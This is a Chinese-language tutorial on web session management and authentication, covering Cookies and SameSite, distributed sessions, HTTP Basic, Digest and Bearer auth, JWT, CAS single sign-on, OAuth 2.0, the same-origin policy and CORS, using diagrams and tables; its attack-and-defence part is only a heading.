Web 会话与身份认证全景
Web 会话与身份认证全景
HTTP 协议是无状态的(RFC 7230 §2.3)。每一次请求对服务器而言都是全新的,服务器不会记住上一次请求来自谁。这个设计简化了协议本身,却把"如何记住用户"的问题留给了应用层。
围绕这个核心问题,衍生出一条完整的技术问题链:
1 | |
本文沿着这条问题链,从会话管理到身份认证,从安全边界到攻防实战,构建一幅完整的技术全景图。
全景问题链
graph TD
A["HTTP 无状态<br/>RFC 7230"] -->|"问题:如何记住用户?"| B["会话管理<br/>Cookie + Session"]
B -->|"问题:单机 Session 如何扩展?"| C["分布式 Session<br/>复制 / 粘性 / 集中存储"]
C -->|"问题:服务端能否不存状态?"| D["JWT<br/>签名防篡改<br/>自包含无状态"]
B -->|"问题:HTTP 层如何传递凭证?"| E["HTTP 认证<br/>Basic → Digest → Bearer"]
D -->|"问题:如何跨系统免登录?"| F["SSO 单点登录<br/>CAS 协议"]
F -->|"问题:如何安全授权第三方?"| G["OAuth 2.0<br/>授权码模式"]
B -->|"问题:浏览器如何隔离不同站点?"| H["同源策略<br/>CORS / JSONP"]
H -->|"问题:攻击者如何突破隔离?"| I["XSS 偷内容<br/>CSRF 借身份<br/>SSRF 借网络"]
I -->|"问题:如何从浏览器层面兜底?"| J["CSP<br/>内容安全策略"]
style A fill:#f9f9f9,stroke:#333
style B fill:#e6f3ff,stroke:#333
style C fill:#e6f3ff,stroke:#333
style D fill:#e6f3ff,stroke:#333
style E fill:#fff3e6,stroke:#333
style F fill:#fff3e6,stroke:#333
style G fill:#fff3e6,stroke:#333
style H fill:#e6ffe6,stroke:#333
style I fill:#ffe6e6,stroke:#333
style J fill:#ffe6e6,stroke:#333
模式总览
| 问题 | 模式 | 口诀 | 覆盖章节 |
|---|---|---|---|
| HTTP 无状态,如何记住用户? | 载体 + 服务端存储 | Cookie 传 ID,Session 存数据 | Part 1 |
| Cookie 如何安全传输? | 六大属性三开关 | 域路径定范围,过期定寿命,三开关定安全 | Part 1 |
| 单机 Session 如何扩展? | 集中存储 + 无状态令牌 | 存 Redis 或签 JWT | Part 1 |
| HTTP 层如何传递凭证? | 认证头 + 质询-响应 | Basic 明文,Digest 哈希,Bearer 令牌 | Part 2 |
| 服务端能否不存状态? | 自包含令牌 | 签名防篡改,过期防滥用,签出去收不回来 | Part 2 |
| 如何跨系统免登录? | 中心化认证 + Ticket | 没 Cookie 就跳转,有 Cookie 就放行,Ticket 用完即焚 | Part 2 |
| 如何安全授权第三方? | 授权码 + Token 分离 | 前端拿 Code,后端换 Token,Code 用完即焚 | Part 2 |
| 浏览器如何隔离不同站点? | 同源策略 + 白名单 | 协议域名端口三元组 | Part 3 |
| 攻击者如何突破隔离? | 注入 / 借身份 / 借网络 | XSS 偷,CSRF 借,SSRF 穿 | Part 4 |
| 如何从浏览器层面兜底? | 资源加载白名单 | 脚本管 XSS,frame 管劫持,connect 管外泄 | Part 4 |
Part 1:会话管理——如何记住用户?
核心问题:HTTP 无状态,服务器如何在多次请求间识别同一个用户?
会话管理基础
三种会话 ID 载体
HTTP 协议本身不维护状态,因此需要在应用层引入"会话"(Session)的概念。会话的本质是:客户端携带一个标识符(Session ID),服务端根据这个标识符查找对应的用户状态。
Session ID 的传递有三种载体:
| 载体 | 机制 | 优点 | 缺点 |
|---|---|---|---|
| Cookie | 浏览器自动在请求头中携带 | 透明、自动、标准化 | 受同源策略限制,可被禁用 |
| URL 重写 | 将 Session ID 附加到 URL 参数中 | 不依赖 Cookie | URL 暴露 Session ID,易泄露 |
| 隐藏表单字段 | 在 HTML 表单中嵌入隐藏的 Session ID | 不依赖 Cookie | 仅适用于表单提交场景 |
记忆锚点:Cookie 传 ID,Session 存数据,URL 和表单是备选。
Cookie-Session 工作流程
sequenceDiagram
participant B as 浏览器
participant S as 服务器
B->>S: 首次请求(无 Cookie)
S->>S: 创建 Session 对象<br/>生成 Session ID(如 UUID)<br/>存入内存/Redis
S-->>B: 响应 + Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly
Note over B: 浏览器存储 Cookie
B->>S: 后续请求<br/>Cookie: JSESSIONID=abc123
S->>S: 根据 abc123 查找 Session<br/>恢复用户状态
S-->>B: 响应(已认证)
Note over B,S: Session 过期或用户登出
B->>S: 请求(携带过期 Session ID)
S->>S: 查找 Session 失败
S-->>B: 401 Unauthorized 或重定向到登录页
Tomcat Session 实现
Tomcat 的 Session 管理体现了典型的容器级实现。其四层结构为:
1 | |

每个 Web 应用(Context)拥有独立的 Manager,负责 Session 的创建、查找和销毁。默认的 StandardManager 将 Session 存储在内存中,并支持持久化到文件系统。


Cookie 深入解析
核心问题:Cookie 作为最主要的会话 ID 载体,如何控制其作用范围和安全性?
Cookie 由 RFC 6265(HTTP State Management Mechanism)定义,是浏览器端存储少量数据的标准机制。每个 Cookie 由六大属性控制其行为。
六大属性
| 属性 | 作用 | 默认值 | 示例 |
|---|---|---|---|
| Domain | 指定 Cookie 的作用域名 | 当前域名(不含子域) | Domain=.example.com(含子域) |
| Path | 指定 Cookie 的作用路径 | 当前路径 | Path=/api |
| Expires | 绝对过期时间 | 不设置 = 会话 Cookie | Expires=Thu, 01 Jan 2026 00:00:00 GMT |
| Max-Age | 相对过期时间(秒) | 不设置 = 会话 Cookie | Max-Age=3600(1 小时) |
| Secure | 仅通过 HTTPS 传输 | 不设置 = HTTP/HTTPS 均可 | Secure |
| HttpOnly | 禁止 JavaScript 访问 | 不设置 = JS 可访问 | HttpOnly |
会话 Cookie(Session Cookie)指未设置 Expires 或 Max-Age 的 Cookie,浏览器关闭即销毁。
Expires vs Max-Age 优先级:当两者同时存在时,Max-Age 优先(RFC 6265 §5.3)。Max-Age=0 表示立即删除 Cookie。
Domain 匹配规则
Domain 属性控制 Cookie 的作用域名,其匹配规则有细微差异:
| 设置方式 | 匹配范围 | 示例 |
|---|---|---|
| 不设置 Domain | 仅当前域名(精确匹配,不含子域) | 仅 www.example.com |
Domain=example.com |
当前域名 + 所有子域 | example.com、www.example.com、api.example.com |
Domain=.example.com |
同上(前导点被忽略,RFC 6265) | 同上 |
安全注意:设置 Domain=example.com 意味着所有子域都能读取该 Cookie。如果子域中存在不受信任的应用,可能导致 Cookie 泄露。
Path 匹配规则
Path 属性采用前缀匹配:
| 设置 | 匹配的路径 | 不匹配的路径 |
|---|---|---|
Path=/ |
所有路径 | 无 |
Path=/api |
/api、/api/users、/api/v2/data |
/app、/application |
Path=/api/ |
/api/、/api/users |
/api(无尾部斜杠) |
记忆锚点:域路径定范围,过期定寿命,Secure 管传输,HttpOnly 管脚本。Max-Age 优先于 Expires。
完整 Set-Cookie 示例
1 | |
SameSite 属性
SameSite 是 Cookie 的第七个属性(RFC 6265bis),用于防御 CSRF 攻击。它控制 Cookie 在跨站请求中是否被发送:
| 值 | 行为 | 适用场景 |
|---|---|---|
| Strict | 跨站请求完全不发送 Cookie | 银行、支付等高安全场景 |
| Lax(默认) | 顶级导航的 GET 请求发送,其他跨站请求不发送 | 大多数 Web 应用 |
| None | 跨站请求也发送(必须配合 Secure) |
需要跨站嵌入的第三方服务 |
graph TD
A["用户在 evil.com<br/>点击链接到 bank.com"] --> B{"SameSite 值?"}
B -->|"Strict"| C["不发送 Cookie<br/>用户需重新登录"]
B -->|"Lax"| D["GET 导航发送 Cookie<br/>POST/iframe 不发送"]
B -->|"None + Secure"| E["发送 Cookie<br/>需 HTTPS"]
style C fill:#ffe6e6
style D fill:#fff3e6
style E fill:#e6ffe6
记忆锚点:Strict 最严跨站全禁,Lax 折中只放 GET 导航,None 全放但必须 HTTPS。
第三方 Cookie 与隐私
第三方 Cookie 指由非当前页面域名设置的 Cookie。典型场景是广告追踪:
sequenceDiagram
participant U as 用户
participant A as site-a.com
participant T as tracker.com
participant B as site-b.com
U->>A: 访问 site-a.com
A-->>U: 页面包含 <img src="tracker.com/pixel.gif">
U->>T: 请求 tracker.com/pixel.gif
T-->>U: Set-Cookie: uid=12345; Domain=tracker.com
U->>B: 访问 site-b.com
B-->>U: 页面也包含 <img src="tracker.com/pixel.gif">
U->>T: 请求 tracker.com/pixel.gif<br/>Cookie: uid=12345
T->>T: 关联用户在 site-a 和 site-b 的行为
主流浏览器正在逐步限制第三方 Cookie:
- Safari:ITP(Intelligent Tracking Prevention)已默认阻止第三方 Cookie
- Firefox:ETP(Enhanced Tracking Protection)默认阻止已知追踪器的第三方 Cookie
- Chrome:计划通过 Privacy Sandbox 替代第三方 Cookie
分布式 Session 方案
核心问题:单机 Session 存储在内存中,当应用部署多个实例时,用户请求可能被路由到不同实例,导致 Session 丢失。如何解决?
四种方案对比
| 方案 | 原理 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|---|
| Session 复制 | 各节点间同步 Session 数据 | 实现简单 | 网络开销大,节点越多越慢 | 小规模集群(2-4 节点) |
| 粘性 Session | 负载均衡器将同一用户路由到同一节点 | 无需改造应用 | 节点宕机则 Session 丢失 | 对可用性要求不高的场景 |
| 集中存储 | Session 存入 Redis/数据库等共享存储 | 高可用、可扩展 | 增加外部依赖和网络延迟 | 生产环境首选 |
| 客户端存储(JWT) | 将状态编码到 Token 中,客户端持有 | 服务端完全无状态 | Token 体积大,无法主动撤销 | 微服务、API 场景 |
Session 复制的网络风暴
graph TD
subgraph "3 节点集群"
N1["节点 1<br/>Session A 更新"]
N2["节点 2"]
N3["节点 3"]
end
N1 -->|"同步 Session A"| N2
N1 -->|"同步 Session A"| N3
N2 -->|"确认"| N1
N3 -->|"确认"| N1
subgraph "N 节点集群"
M["每次更新<br/>需同步 N-1 个节点<br/>网络消息 = O(N^2)"]
end
style M fill:#ffe6e6
粘性 Session 的故障场景
sequenceDiagram
participant U as 用户
participant LB as 负载均衡器
participant N1 as 节点 1
participant N2 as 节点 2
U->>LB: 请求 1
LB->>N1: 路由到节点 1(基于 IP Hash)
N1->>N1: 创建 Session
N1-->>U: 响应 + Session Cookie
U->>LB: 请求 2
LB->>N1: 继续路由到节点 1
N1-->>U: 正常响应
Note over N1: 节点 1 宕机
U->>LB: 请求 3
LB->>N2: 路由到节点 2(节点 1 不可用)
N2->>N2: 查找 Session 失败
N2-->>U: 401 需重新登录
集中存储方案(生产环境首选)
sequenceDiagram
participant U as 用户
participant LB as 负载均衡器
participant N1 as 节点 1
participant N2 as 节点 2
participant R as Redis 集群
U->>LB: 请求 1
LB->>N1: 路由到节点 1
N1->>R: 创建 Session(SET session:abc123 {...})
R-->>N1: OK
N1-->>U: 响应 + Session Cookie
U->>LB: 请求 2
LB->>N2: 路由到节点 2(不同节点)
N2->>R: 查找 Session(GET session:abc123)
R-->>N2: 返回 Session 数据
N2-->>U: 正常响应(用户无感知)
记忆锚点:复制扛不住广播风暴,粘性扛不住节点宕机,Redis 集中存储是生产首选。
Part 2:身份认证——如何证明身份?
核心问题:用户声称自己是某人,服务器如何验证这个声明?从 HTTP 协议层的认证头,到应用层的 JWT、SSO、OAuth 2.0,认证技术不断演进。
HTTP 认证技术演进
核心问题:如何在 HTTP 请求中安全地传递身份凭证?
HTTP 认证机制定义了客户端和服务器之间的标准质询-响应(Challenge-Response)流程。从最简单的 Basic 认证到现代的 Bearer Token,每一种方案都解决了前一种方案的安全缺陷。
三种认证方案概览
graph LR
A["Basic 认证<br/>RFC 7617 (2015)"] -->|"问题:明文传密码"| B["Digest 认证<br/>RFC 2617 (1999)"]
B -->|"问题:MD5 已不安全"| C["Bearer Token<br/>RFC 6750 (2012)"]
A1["Base64 编码<br/>等于明文"] -.-> A
B1["MD5 哈希 + Nonce<br/>不传明文但算法过时"] -.-> B
C1["令牌持有者模式<br/>配合 OAuth 2.0"] -.-> C
style A fill:#ffe6e6
style B fill:#fff3e6
style C fill:#e6ffe6
Basic 认证
引入 RFC:RFC 2617 (1999),更新于 RFC 7617 (2015)
Basic 认证将用户名和密码用 Base64 编码后放入 Authorization 头。Base64 不是加密,只是编码,任何人都可以解码。
sequenceDiagram
participant C as 客户端
participant S as 服务器
C->>S: GET /protected
S-->>C: 401 Unauthorized<br/>WWW-Authenticate: Basic realm="Secure Area"
C->>C: 用户输入用户名密码
C->>C: Base64("user:pass") = "dXNlcjpwYXNz"
C->>S: GET /protected<br/>Authorization: Basic dXNlcjpwYXNz
S->>S: 解码 Base64 → "user:pass"<br/>验证用户名密码
S-->>C: 200 OK + 资源
安全问题:
- 明文传输:Base64 解码即可得到密码
- 无法防重放:同一请求可被无限次重放
- 无过期机制:认证信息长期有效
记忆锚点:Base64 编码不是加密,等于明文传密码。
Digest 认证
引入 RFC:RFC 2069 (1997),更新于 RFC 2617 (1999)
Digest 认证通过 MD5 哈希和一次性随机数(Nonce)解决 Basic 认证的明文传输问题。客户端传输的是包含密码、Nonce、URI 等多因素的复合哈希值,而非密码本身。
sequenceDiagram
participant C as 客户端
participant S as 服务器
C->>S: GET /protected
S->>S: 生成 Nonce(一次性随机数)
S-->>C: 401 Unauthorized<br/>WWW-Authenticate: Digest<br/>realm="Secure Area",<br/>nonce="dcd98b...",<br/>qop="auth"
C->>C: 计算复合哈希:<br/>HA1 = MD5(user:realm:pass)<br/>HA2 = MD5(GET:/protected)<br/>Response = MD5(HA1:nonce:nc:cnonce:qop:HA2)
C->>S: Authorization: Digest<br/>username="user",<br/>nonce="dcd98b...",<br/>response="6629fa..."
S->>S: 用相同算法计算 Response<br/>与客户端提交的 Response 比对
S-->>C: 200 OK + 资源
关键参数:
| 参数 | 作用 |
|---|---|
nonce |
服务器生成的一次性随机数,防止重放攻击 |
cnonce |
客户端生成的随机数,增强安全性 |
nc |
Nonce 计数器,防止同一 Nonce 被重用 |
qop |
保护质量(auth / auth-int) |
局限性:MD5 算法已被证明存在碰撞漏洞,现代应用不再推荐使用 Digest 认证。
记忆锚点:Digest 用复合哈希不传明文,Nonce 防重放,但 MD5 已过时。
Bearer Token 认证
引入 RFC:RFC 6750 (2012) - OAuth 2.0 Authorization Framework: Bearer Token Usage
Bearer Token 采用"持有者即拥有者"的模式——拥有令牌即可访问资源,无需额外的身份证明。这是 OAuth 2.0 框架的核心认证方式。
sequenceDiagram
participant U as 用户
participant C as 客户端
participant A as 授权服务器
participant R as 资源服务器
U->>C: 授权请求
C->>A: 获取 Access Token
A-->>C: 返回 Bearer Token
C->>R: GET /api/resource<br/>Authorization: Bearer eyJhbG...
R->>R: 验证 Token 签名和有效期
R-->>C: 200 OK + 资源
Bearer Token 可以是不透明字符串(服务器端查表验证)或 JWT(自包含验证)。
记忆锚点:Bearer 持有即拥有,JWT 自包含无状态,但需防泄露。
三种方案安全性对比
| 维度 | Basic | Digest | Bearer |
|---|---|---|---|
| 密码传输 | 明文(Base64) | 复合哈希值 | 不传输密码 |
| 防重放 | 不支持 | 支持(Nonce) | 依赖 Token 有效期 |
| 防中间人 | 不支持 | 支持 | 依赖 HTTPS |
| 防篡改 | 不支持 | 支持 | 支持(JWT 签名) |
| 算法强度 | 无 | MD5(已过时) | 可选强算法(RS256 等) |
| 适用场景 | 内网测试 | 遗留系统 | 现代 API |
历史演进时间线
graph LR
A["1997<br/>RFC 2069<br/>Digest 初版"] --> B["1999<br/>RFC 2617<br/>Basic + Digest"]
B --> C["2012<br/>RFC 6750<br/>Bearer Token"]
C --> D["2015<br/>RFC 7617<br/>Basic 更新"]
style A fill:#ffe6e6
style B fill:#fff3e6
style C fill:#e6ffe6
style D fill:#e6e6ff
实践建议
何时使用 Basic 认证
- 内网环境 + HTTPS
- 快速原型开发
- 简单的 API 测试工具
- 不适用:互联网公开 API、涉及敏感数据的场景
何时使用 Digest 认证
- 遗留系统维护
- 无法使用 HTTPS 的特殊环境
- 不适用:新项目开发(MD5 已不安全)、现代浏览器环境
何时使用 Bearer Token
- RESTful API
- 微服务架构
- 移动 App 后端
- 第三方授权(OAuth 2.0)
- 注意:传统网页应用中 Cookie + Session 更简单
安全最佳实践
- 始终使用 HTTPS:所有认证方案都应配合 HTTPS 使用
- 设置合理有效期:Bearer Token 有效期不宜过长(建议 15-30 分钟)
- 实现 Token 刷新:使用 Refresh Token 实现长期访问
- 添加 IP 限制:绑定 Token 和客户端 IP 地址
- 监控异常访问:记录和告警异常的 Token 使用行为
记忆锚点:HTTPS 是基础,Token 要短命,刷新机制不可少。
JWT 深入解析
核心问题:传统 Session 需要服务端存储状态,在微服务架构下成为瓶颈。能否将状态编码到令牌中,让服务端完全无状态?
JWT(JSON Web Token,RFC 7519)是一种自包含的令牌格式,将用户身份和权限信息编码到 Token 中,通过数字签名保证完整性。
JWT 结构
JWT 由三部分组成,用 . 分隔:Header.Payload.Signature
1 | |
| 部分 | 内容 | 示例 |
|---|---|---|
| Header | 算法和类型声明 | {"alg":"HS256","typ":"JWT"} |
| Payload | 声明(Claims) | {"sub":"1234567890","name":"John Doe","exp":1516239022} |
| Signature | 签名 | HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) |
标准声明字段(RFC 7519 §4.1)
| 字段 | 全称 | 作用 |
|---|---|---|
iss |
Issuer | 签发者 |
sub |
Subject | 主题(通常是用户 ID) |
aud |
Audience | 接收方 |
exp |
Expiration Time | 过期时间 |
nbf |
Not Before | 生效时间 |
iat |
Issued At | 签发时间 |
jti |
JWT ID | 唯一标识符(可用于黑名单撤销) |
签名算法
| 算法 | 类型 | 密钥 | 适用场景 |
|---|---|---|---|
| HS256 | 对称加密 | 共享密钥 | 单体应用(签发和验证方相同) |
| RS256 | 非对称加密 | 私钥签名 / 公钥验证 | 微服务(签发方和验证方分离) |
| ES256 | 椭圆曲线 | 私钥签名 / 公钥验证 | 高安全要求场景 |
JWT 的撤销难题
JWT 一旦签发就无法主动撤销——这是"自包含"设计的代价。常见的应对方案:
| 方案 | 原理 | 代价 |
|---|---|---|
| 短有效期 | Access Token 有效期设为 15-30 分钟 | 需要频繁刷新 |
| 黑名单 | 将需要撤销的 jti 存入 Redis |
引入服务端状态,部分抵消无状态优势 |
| 刷新令牌 | 用长期有效的 Refresh Token 换取短期 Access Token | 增加复杂度 |
JWT 刷新流程
sequenceDiagram
participant C as 客户端
participant A as 授权服务器
participant R as 资源服务器
Note over C,A: 初始登录
C->>A: 用户名 + 密码
A-->>C: Access Token(15 分钟)<br/>+ Refresh Token(7 天)
Note over C,R: 正常访问
C->>R: Authorization: Bearer {access_token}
R-->>C: 200 OK
Note over C,R: Access Token 过期
C->>R: Authorization: Bearer {expired_access_token}
R-->>C: 401 Token Expired
Note over C,A: 刷新 Token
C->>A: POST /token/refresh<br/>Refresh Token
A->>A: 验证 Refresh Token 有效性
A-->>C: 新 Access Token(15 分钟)<br/>+ 新 Refresh Token(7 天)
Note over C,R: 继续访问
C->>R: Authorization: Bearer {new_access_token}
R-->>C: 200 OK
Session vs JWT 决策
| 维度 | Session | JWT |
|---|---|---|
| 状态存储 | 服务端(内存/Redis) | 客户端(Token 自包含) |
| 扩展性 | 需要共享存储 | 天然支持水平扩展 |
| 撤销能力 | 直接删除 Session | 需要黑名单机制 |
| 传输开销 | Cookie 仅含 Session ID(几十字节) | JWT 包含完整声明(几百字节到几 KB) |
| 适用场景 | 传统 Web 应用 | 微服务、API、移动端 |
记忆锚点:JWT 签名防篡改,过期防滥用,但签出去就收不回来。
SSO 单点登录
核心问题:企业内部有多个系统(OA、邮箱、CRM),用户是否需要在每个系统都登录一次?
SSO(Single Sign-On)的目标是:一次登录,处处通行。用户在一个系统登录后,访问其他系统时无需再次输入凭证。
CAS 协议工作流程
CAS(Central Authentication Service)是最经典的 SSO 协议。其核心思想是引入一个中心化的认证服务器(CAS Server),所有业务系统(CAS Client)将认证请求委托给它。
sequenceDiagram
participant U as 用户浏览器
participant A as 应用 A
participant CAS as CAS 认证中心
participant B as 应用 B
Note over U,CAS: 首次访问应用 A(未登录)
U->>A: 访问 app-a.com/dashboard
A->>A: 检查 Session → 无
A-->>U: 302 重定向到 CAS<br/>cas.com/login?service=app-a.com/callback
U->>CAS: 访问 CAS 登录页
CAS->>CAS: 检查 CAS Cookie(TGC)→ 无
CAS-->>U: 返回登录表单
U->>CAS: 提交用户名 + 密码
CAS->>CAS: 验证凭证<br/>创建 TGT(Ticket Granting Ticket)<br/>生成 ST(Service Ticket)
CAS-->>U: 302 重定向到 app-a.com/callback?ticket=ST-12345<br/>Set-Cookie: TGC=TGT-xxx(CAS 域名下)
U->>A: 访问 app-a.com/callback?ticket=ST-12345
A->>CAS: 后端验证 ST-12345(服务端到服务端)
CAS->>CAS: 验证 ST 有效性<br/>ST 用完即焚(一次性)
CAS-->>A: 返回用户信息
A->>A: 创建本地 Session
A-->>U: 200 OK + Set-Cookie: JSESSIONID=...
Note over U,CAS: 访问应用 B(已在 CAS 登录)
U->>B: 访问 app-b.com/home
B->>B: 检查 Session → 无
B-->>U: 302 重定向到 CAS<br/>cas.com/login?service=app-b.com/callback
U->>CAS: 访问 CAS(携带 TGC Cookie)
CAS->>CAS: 验证 TGC → 有效<br/>生成新的 ST
CAS-->>U: 302 重定向到 app-b.com/callback?ticket=ST-67890<br/>(无需再次登录)
U->>B: 访问 app-b.com/callback?ticket=ST-67890
B->>CAS: 后端验证 ST-67890
CAS-->>B: 返回用户信息
B->>B: 创建本地 Session
B-->>U: 200 OK(免登录成功)
CAS 核心概念
| 概念 | 全称 | 作用 | 生命周期 |
|---|---|---|---|
| TGT | Ticket Granting Ticket | CAS 服务端的登录凭证 | 长期有效(如 8 小时) |
| TGC | Ticket Granting Cookie | 浏览器端存储的 TGT 引用 | 随 TGT 过期 |
| ST | Service Ticket | 一次性票据,用于业务系统验证 | 用完即焚(一次性) |
SSO 单点登出
单点登出是 SSO 的常见 Corner Case:用户在一个系统登出后,所有系统都应该同步登出。
sequenceDiagram
participant U as 用户浏览器
participant A as 应用 A
participant CAS as CAS 认证中心
participant B as 应用 B
U->>A: 点击"登出"
A->>A: 销毁本地 Session
A-->>U: 302 重定向到 CAS<br/>cas.com/logout
U->>CAS: 访问 CAS 登出接口
CAS->>CAS: 销毁 TGT<br/>清除 TGC Cookie
CAS->>A: 回调通知:销毁 Session(后端到后端)
CAS->>B: 回调通知:销毁 Session(后端到后端)
A->>A: 销毁本地 Session
B->>B: 销毁本地 Session
CAS-->>U: 重定向到登录页
Note over U,B: 用户再访问应用 B
U->>B: 访问 app-b.com/home
B->>B: 检查 Session → 已销毁
B-->>U: 302 重定向到 CAS 登录页
Corner Case:如果应用 B 的回调通知失败(网络问题),用户在应用 B 的 Session 可能不会被及时销毁。解决方案:
- 设置较短的 Session 有效期
- 应用端定期向 CAS 校验 TGT 状态
- 使用消息队列保证通知的可靠投递
跨域 SSO
当业务系统分布在不同域名下(如 a.company.com 和 b.partner.com),Cookie 无法跨域共享。CAS 协议通过 HTTP 重定向 解决这个问题——TGC 只存在 CAS 域名下,各业务系统通过重定向到 CAS 来检查登录状态。
记忆锚点:没 Cookie 就跳转 CAS,有 TGC 就签发 ST,ST 用完即焚。
OAuth 2.0 授权框架
核心问题:用户想让第三方应用(如"用微信登录")访问自己在某平台的数据,但不想把密码告诉第三方。如何在不暴露密码的情况下安全授权?
OAuth 2.0(RFC 6749)是一个授权框架,解决的是授权问题而非认证问题。它定义了四种授权模式,其中授权码模式(Authorization Code)是最安全、最常用的。

四个角色
| 角色 | 说明 | 示例 |
|---|---|---|
| Resource Owner | 资源拥有者(用户) | 微信用户 |
| Client | 第三方应用 | 某电商 App |
| Authorization Server | 授权服务器 | 微信开放平台 |
| Resource Server | 资源服务器 | 微信用户信息 API |
授权码模式(Authorization Code)
授权码模式是最安全的模式,适用于有后端服务器的 Web 应用。核心设计:前端拿 Code,后端换 Token,Code 用完即焚。
sequenceDiagram
participant U as 用户
participant C as 第三方应用(前端)
participant CS as 第三方应用(后端)
participant A as 授权服务器
U->>C: 点击"用微信登录"
C-->>U: 302 重定向到授权服务器<br/>authorize?response_type=code<br/>&client_id=xxx<br/>&redirect_uri=callback_url<br/>&scope=user_info<br/>&state=random_string
U->>A: 访问授权页面
A->>A: 验证用户身份(如已登录则跳过)
A-->>U: 展示授权确认页<br/>"是否允许 xxx 访问您的用户信息?"
U->>A: 用户点击"同意授权"
A->>A: 生成授权码(Authorization Code)<br/>有效期短(通常 10 分钟)
A-->>U: 302 重定向到 callback_url?code=AUTH_CODE&state=random_string
U->>CS: 携带 code 访问 callback_url
CS->>A: POST /token(后端到后端,不经过浏览器)<br/>grant_type=authorization_code<br/>&code=AUTH_CODE<br/>&client_id=xxx<br/>&client_secret=yyy<br/>&redirect_uri=callback_url
A->>A: 验证 code(用完即焚)<br/>验证 client_secret
A-->>CS: 返回 Access Token + Refresh Token
CS->>CS: 存储 Token
CS-->>U: 登录成功
安全设计要点:
- Authorization Code 一次性使用:Code 在换取 Token 后立即失效,防止重放
- client_secret 后端传输:密钥不经过浏览器,防止泄露
- state 参数:防止 CSRF 攻击,客户端生成随机字符串并验证回调中的 state 是否一致
- PKCE 扩展(RFC 7636):为无法安全存储 client_secret 的公开客户端(如 SPA、移动 App)提供额外保护
其他授权模式
| 模式 | 适用场景 | 安全性 | 是否推荐 |
|---|---|---|---|
| 授权码模式 | 有后端的 Web 应用 | 最高 | 首选 |
| 隐式模式(Implicit) | 纯前端 SPA(已过时) | 低(Token 暴露在 URL 中) | 不推荐,用 PKCE 替代 |
| 密码模式(Resource Owner Password) | 高度信任的第一方应用 | 中(需要用户密码) | 仅限第一方 |
| 客户端凭证模式(Client Credentials) | 服务间调用(无用户参与) | 中 | 适用于 M2M |
OAuth 2.0 Token 刷新流程
sequenceDiagram
participant C as 客户端
participant A as 授权服务器
participant R as 资源服务器
C->>R: GET /api/data<br/>Authorization: Bearer {access_token}
R-->>C: 401 Token Expired
C->>A: POST /token<br/>grant_type=refresh_token<br/>&refresh_token=xxx<br/>&client_id=yyy
A->>A: 验证 Refresh Token<br/>签发新 Access Token<br/>(可选)轮换 Refresh Token
A-->>C: 新 Access Token + 新 Refresh Token
C->>R: GET /api/data<br/>Authorization: Bearer {new_access_token}
R-->>C: 200 OK + 数据
记忆锚点:前端拿 Code,后端换 Token,Code 用完即焚,state 防 CSRF。
Part 3:安全边界——浏览器如何隔离?
核心问题:浏览器同时打开多个网站,如何防止恶意网站读取其他网站的数据?
同源策略与跨域
同源策略(Same-Origin Policy)
同源策略是浏览器最基本的安全机制(由 Netscape Navigator 2.0 于 1995 年引入)。同源的定义是:协议 + 域名 + 端口 三者完全相同。
| URL A | URL B | 是否同源 | 原因 |
|---|---|---|---|
https://a.com/page1 |
https://a.com/page2 |
同源 | 协议、域名、端口均相同 |
https://a.com |
http://a.com |
不同源 | 协议不同(HTTPS vs HTTP) |
https://a.com |
https://b.com |
不同源 | 域名不同 |
https://a.com |
https://a.com:8080 |
不同源 | 端口不同(443 vs 8080) |
https://a.com |
https://sub.a.com |
不同源 | 域名不同(子域也算不同) |
同源策略限制的行为:
- DOM 访问:不同源的页面不能访问彼此的 DOM
- Cookie/Storage:不同源的页面不能读取彼此的 Cookie 和 LocalStorage
- AJAX 请求:不同源的 AJAX 请求会被浏览器拦截(响应被丢弃)
记忆锚点:协议域名端口三元组,一个不同就跨域。
CORS(Cross-Origin Resource Sharing)
CORS(RFC 6454 定义了 Origin 概念,W3C CORS 规范定义了跨域机制)是现代浏览器解决跨域问题的标准方案。服务器通过响应头声明允许哪些源访问资源。
简单请求 vs 预检请求
| 条件 | 简单请求 | 预检请求 |
|---|---|---|
| 方法 | GET / HEAD / POST | PUT / DELETE / PATCH 等 |
| Content-Type | text/plain, multipart/form-data, application/x-www-form-urlencoded | application/json 等 |
| 自定义头 | 无 | 有(如 Authorization) |
| 流程 | 直接发送,浏览器检查响应头 | 先发 OPTIONS 预检,通过后再发实际请求 |
预检请求流程
sequenceDiagram
participant B as 浏览器(a.com)
participant S as 服务器(api.b.com)
Note over B,S: 预检请求(OPTIONS)
B->>S: OPTIONS /api/data<br/>Origin: https://a.com<br/>Access-Control-Request-Method: PUT<br/>Access-Control-Request-Headers: Authorization, Content-Type
S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com<br/>Access-Control-Allow-Methods: GET, PUT, POST<br/>Access-Control-Allow-Headers: Authorization, Content-Type<br/>Access-Control-Max-Age: 86400
Note over B,S: 实际请求
B->>S: PUT /api/data<br/>Origin: https://a.com<br/>Authorization: Bearer xxx<br/>Content-Type: application/json
S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com
关键响应头
| 响应头 | 作用 | 示例 |
|---|---|---|
Access-Control-Allow-Origin |
允许的源 | https://a.com 或 * |
Access-Control-Allow-Methods |
允许的 HTTP 方法 | GET, POST, PUT |
Access-Control-Allow-Headers |
允许的请求头 | Authorization, Content-Type |
Access-Control-Allow-Credentials |
是否允许携带 Cookie | true |
Access-Control-Max-Age |
预检结果缓存时间(秒) | 86400 |
安全注意:当 Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能设为 *,必须指定具体的源。
携带 Cookie 的跨域请求
sequenceDiagram
participant B as 浏览器(a.com)
participant S as 服务器(api.b.com)
B->>S: GET /api/user<br/>Origin: https://a.com<br/>Cookie: session_id=abc123
Note over B: 前端需设置<br/>fetch(url, {credentials: 'include'})
S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com<br/>Access-Control-Allow-Credentials: true
Note over S: 不能用 * 必须指定具体源
JSONP(历史方案)
JSONP 利用 <script> 标签不受同源策略限制的特性实现跨域数据获取。原理是服务器返回一段 JavaScript 函数调用,将数据作为参数传入。
1 | |
局限性:仅支持 GET 请求,存在 XSS 风险(执行任意返回的 JavaScript),现代应用应使用 CORS 替代。
记忆锚点:CORS 是标准方案,JSONP 是历史遗留,生产环境用 CORS。
Part 4:攻防与防护——如何兜底?
